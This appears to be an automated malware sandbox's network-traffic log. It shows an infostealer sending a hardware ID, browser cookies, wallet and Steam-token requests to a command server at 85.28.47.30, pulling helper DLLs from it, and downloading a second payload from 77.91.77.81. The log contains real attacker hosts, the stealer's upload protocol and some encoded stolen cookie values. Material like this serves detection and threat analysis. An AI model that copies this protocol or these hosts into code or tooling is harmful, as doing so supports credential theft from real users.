Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 05 Jul 2024 04:23:14 GMTContent-Type: application/octet-streamContent-Length: 1901056Last-Modified: Fri, 05 Jul 2024 04:04:33 GMTConnection: keep-aliveETag: "668770d1-1d0200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4b 00 00 04 00 00 90 3d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 26 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 26 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 78 63 65 6f 6f 6e 79 00 f0 19 00 00 40 31 00 00 ea 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 77 71 6a 6f 74 6d 6b 00 10 00 00 00 30 4b 00 00 04 00 00 00 dc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4b 00 00 22 00 00 00 e0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFHHost: 85.28.47.30Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 38 33 38 42 38 31 41 43 33 41 34 30 34 33 37 32 38 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 2d 2d 0d 0a Data Ascii: ------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="hwid"7E838B81AC3A4043728354------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="build"Nice------KFIJJEGHDAEBGCAKJKFH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDHIJDGCBAKFIEGHCBHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 2d 2d 0d 0a Data Ascii: ------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="message"browsers------CFHDHIJDGCBAKFIEGHCB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBGHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="message"plugins------IECBAFCAAKJDHJKFIEBG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDAHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="message"fplugins------KFHCAEGCBFHJDGCBFHDA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJEGCFBGDHJJJJJKJECHost: 85.28.47.30Content-Length: 6191Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFBHost: 85.28.47.30Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlM
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHIHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file"------ECBGCBGCAFIIECBFIDHI--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="file"------JEHDHIEGIIIDHIDHDHJJ--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBFHost: 85.28.47.30Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFHHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 2d 2d 0d 0a Data Ascii: ------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="message"wallets------BKKKEGIDBGHIDGDHDBFH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJHost: 85.28.47.30Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="message"files------HIJJDGDHDGDAKFIECFIJ--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBKHost: 85.28.47.30Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="file"------EGIDAFBAEBKKEBFIJEBK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBFHJJDAAKFIECGDBHost: 85.28.47.30Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 2d 2d 0d 0a Data Ascii: ------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="message"jbdtaijovg------CAAEBFHJJDAAKFIECGDB--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
